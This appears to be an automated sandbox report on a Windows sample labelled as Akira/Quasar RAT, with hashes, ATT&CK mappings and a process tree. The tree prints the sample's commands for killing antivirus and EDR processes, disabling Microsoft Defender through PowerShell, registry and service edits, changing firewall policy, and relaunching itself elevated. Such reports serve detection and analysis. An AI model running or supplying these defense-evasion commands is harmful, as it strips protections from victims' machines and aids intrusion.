4cbd09a494fa9d0ac73eae33f6fd5d260025c8003f444534e09e925418c9e9d9

Analysis

max time kernel
10s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/07/2026, 04:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe
Size 1.9MB
Sample260701-e6931aet7k
SHA256 4cbd09a494fa9d0ac73eae33f6fd5d260025c8003f444534e09e925418c9e9d9
MD5 68a273bfb4eb90245306b5620b59c953
SHA1 0dc608b32991350ebefc281af55e36af1a348519
SHA512 7ab1ff10354ece598b856fa2f28e7e6b5ce8b7c7642425bb8ccead78ca41c332f21be707924de8c70b9e55819e19a5fa75d605fd8a10df3d6bff460a45f07a92
SSDEEP 49152:cDk0SFjBGpzejlLl3kdEkXN7KHrc1CERDTulpwpOlP:oOGpzQAEkXNuHjW43
TLSH
T1EC950207F6A360BCD12AC075935BA573BE36B88A02317DBB13E48A343F65E512F19B15
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion execution

Malware Config

Signatures

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs

resource	yara_rule
behavioral2/memory/5524-7-0x00007FF74D260000-0x00007FF74D445000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/4728-111-0x00007FF74D260000-0x00007FF74D445000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
124	powershell.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2256	netsh.exe
2020	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
124	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3392	sc.exe
4592	sc.exe
756	sc.exe
1084	sc.exe
4164	sc.exe
2880	sc.exe
1776	sc.exe
5992	sc.exe
1624	sc.exe
2112	sc.exe

Kills process with taskkill 7 IoCs

defense_evasion

pid	Process
3172	taskkill.exe
5096	taskkill.exe
4344	taskkill.exe
2600	taskkill.exe
2568	taskkill.exe
4648	taskkill.exe
2336	taskkill.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
6056	powershell.exe
6056	powershell.exe
124	powershell.exe
124	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	3172	taskkill.exe
Token: SeDebugPrivilege	6056	powershell.exe
Token: SeDebugPrivilege	5096	taskkill.exe
Token: SeDebugPrivilege	4344	taskkill.exe
Token: SeDebugPrivilege	2600	taskkill.exe
Token: SeDebugPrivilege	2568	taskkill.exe
Token: SeDebugPrivilege	4648	taskkill.exe
Token: SeDebugPrivilege	2336	taskkill.exe
Token: SeDebugPrivilege	124	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5524 wrote to memory of 3172	5524	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	88
PID 5524 wrote to memory of 6056	5524	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	91
PID 6056 wrote to memory of 4728	6056	powershell.exe	94
PID 4728 wrote to memory of 5096	4728	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	95
PID 4728 wrote to memory of 4344	4728	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	98
PID 4728 wrote to memory of 2600	4728	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	100
PID 4728 wrote to memory of 2568	4728	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	102
PID 4728 wrote to memory of 4648	4728	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	104
PID 4728 wrote to memory of 2336	4728	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	106
PID 4728 wrote to memory of 124	4728	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	108

C:\Users\Admin\AppData\Local\Temp\2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5524
- C:\Windows\system32\taskkill.exe
  "taskkill" /f /im javaw.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADIAMAAyADYALQAwADYALQAzADAAXwA2ADgAYQAyADcAMwBiAGYAYgA0AGUAYgA5ADAAMgA0ADUAMwAwADYAYgA1ADYAMgAwAGIANQA5AGMAOQA1ADMAXwBhAGsAaQByAGEAXwBxAHUAYQBzAGEAcgAtAHIAYQB0AC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAC0ALQBlAGwAZQB2AGEAdABlAGQAJwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:6056
- - C:\Users\Admin\AppData\Local\Temp\2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe" --elevated
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4728
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im javaw.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5096
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4344
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im NisSrv.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2600
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im cb.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2568
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im csfalconservice.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4648
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im csagent.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2336
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:124
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      PID:6068
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      PID:2100
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
      4⤵
      PID:2260
  - - C:\Windows\system32\sc.exe
      "sc" stop WinDefend
      4⤵
      Launches sc.exe
      PID:2880
  - - C:\Windows\system32\sc.exe
      "sc" config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:1084
  - - C:\Windows\system32\sc.exe
      "sc" stop Sense
      4⤵
      Launches sc.exe
      PID:1776
  - - C:\Windows\system32\sc.exe
      "sc" config Sense start= disabled
      4⤵
      Launches sc.exe
      PID:5992
  - - C:\Windows\system32\sc.exe
      "sc" stop WdNisSvc
      4⤵
      Launches sc.exe
      PID:1624
  - - C:\Windows\system32\sc.exe
      "sc" config WdNisSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4164
  - - C:\Windows\system32\sc.exe
      "sc" stop WdBoot
      4⤵
      Launches sc.exe
      PID:2112
  - - C:\Windows\system32\sc.exe
      "sc" config WdBoot start= disabled
      4⤵
      Launches sc.exe
      PID:3392
  - - C:\Windows\system32\sc.exe
      "sc" stop WdFilter
      4⤵
      Launches sc.exe
      PID:4592
  - - C:\Windows\system32\sc.exe
      "sc" config WdFilter start= disabled
      4⤵
      Launches sc.exe
      PID:756
  - - C:\Windows\system32\netsh.exe
      "netsh" advfirewall set allprofiles state on
      4⤵
      Modifies Windows Firewall
      PID:2256
  - - C:\Windows\system32\netsh.exe
      "netsh" advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound
      4⤵
      Modifies Windows Firewall
      PID:2020

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
MD5 e6bcee6109b84febc5ffa8c6d9b2a547
SHA1 eb5de5de4575f11fea9fb8a5f72aee1c8b5b3dab
SHA512 3081253140a770e4c68087b76b905286143feb2fbafa1e0b284b50f69ec736153f85fad9305d7e7f1309d98cf470edea4ab89da3941e068631116d03cccf5333
TLSH
T1C6115733B3CC8624CC9A403650CEAC1036B587DB509EDF6BBB84D145B83F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_sk2opetd.q2n.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sk2opetd.q2n.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

logs.txt

Path C:\Users\Admin\Desktop\logs.txt
Size 345B
SHA256 3ac0f57597a5aa0938bf7f616f832725091079b17e0ea62b8ab628064974425b
MD5 c4c8126dbe0415c1734e09c4de464306
SHA1 622b25e9220ffd6b1e389120d0fc6f3b44d58c47
SHA512 bd72747f4b0ae6075969e0c8cb15c326653194a9d591f9194c59fd0b42e448378a1d426c8e1a8818280d96a8aafabdf1ca0f5ace5bd6333010af75c0ec61a21d
TLSH
T161E04F6D4EC181184F562497CBCD0223389FA7149B50D4B66A39A05D7010D391BF7E62
MD5 SHA1 SHA512 TLSH

Submit Download

logs.txt

Path C:\Users\Admin\Desktop\logs.txt
Size 1KB
SHA256 9e7fa3c36cae9e93bda253c47a77196d3755d74e505e1143264d0f310afb0cb7
MD5 a9c6532a34d508280b27f8d53467ea37
SHA1 53e157f9c4ce6c55b63aca4a7ce2933bb61f2edb
SHA512 873ba37e8b05d4d393e8336bcd1ca5687ffe4a09e7b551e410b85a1892827323de4a71d5840e86d49954d497523d9102bdddc37fe0e845c44d0341a4c1859778
TLSH
T1B131399C5DC1E18D0FB312665F9D5E1778AE07139B2A90741E2B43083233D799AEAE36
MD5 SHA1 SHA512 TLSH

Submit Download

logs.txt

Path C:\Users\Admin\Desktop\logs.txt
Size 4KB
SHA256 62d813be6e85ad85ef300e7665b3feda7abf004bfdf622324a0d5210c692ae06
MD5 9b0c70456911ca71a3edbfa17b9a0193
SHA1 5161603df5e7374c9d6f11b9a1be915164587da0
SHA512 2516af6e31792cacff54da4b3d2463147d7657116698043151149c534d3658c0443784849ebd76b99a449d15f75328770991885ccdac62a453367987a28dc222
SSDEEP 96:cTD5JgTmIq/VrRmDII/DIKDmKD9KDIK2IW9ly+PjaY4wWqly+PjaY4wWuly+PjaP:cf5JgCIq/VriII/DIKDmKD9KDIKrW9lO
TLSH
T10891C39C4DC1A1CA1B7347661E6EAF06785E0723673F8431291F471822B3EB59AE6D33
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/124-53-0x0000022D7D7C0000-0x0000022D7D7CA000-memory.dmp

Download

memory/124-52-0x0000022D7D700000-0x0000022D7D7B2000-memory.dmp

Download

memory/124-51-0x0000022D7D6E0000-0x0000022D7D6FE000-memory.dmp

Download

memory/4728-111-0x00007FF74D260000-0x00007FF74D445000-memory.dmp

Download

memory/5524-7-0x00007FF74D260000-0x00007FF74D445000-memory.dmp

Download

memory/6056-21-0x00007FFA2A8C0000-0x00007FFA2B264000-memory.dmp

Download

memory/6056-17-0x00007FFA2A8C0000-0x00007FFA2B264000-memory.dmp

Download

memory/6056-19-0x00007FFA2A8C0000-0x00007FFA2B264000-memory.dmp

Download

memory/6056-22-0x00007FFA2A8C0000-0x00007FFA2B264000-memory.dmp

Download

memory/6056-23-0x00007FFA2A8C0000-0x00007FFA2B264000-memory.dmp

Download

memory/6056-24-0x00007FFA2A8C0000-0x00007FFA2B264000-memory.dmp

Download

memory/6056-25-0x00007FFA2A8C0000-0x00007FFA2B264000-memory.dmp

Download

memory/6056-18-0x00007FFA2A8C0000-0x00007FFA2B264000-memory.dmp

Download

memory/6056-29-0x00007FFA2A8C0000-0x00007FFA2B264000-memory.dmp

Download

memory/6056-20-0x00007FFA2A8C0000-0x00007FFA2B264000-memory.dmp

Download

memory/6056-16-0x00007FFA2A8C0000-0x00007FFA2B264000-memory.dmp

Download

memory/6056-15-0x00007FFA2A8C0000-0x00007FFA2B264000-memory.dmp

Download

memory/6056-12-0x00007FFA2A8C0000-0x00007FFA2B264000-memory.dmp

Download

memory/6056-10-0x00007FFA2A8C0000-0x00007FFA2B264000-memory.dmp

Download

memory/6056-11-0x0000022661720000-0x0000022661742000-memory.dmp

Download

memory/6056-9-0x00007FFA2A8C0000-0x00007FFA2B264000-memory.dmp

Download

memory/6056-8-0x00007FFA2AA4F000-0x00007FFA2AA50000-memory.dmp

Download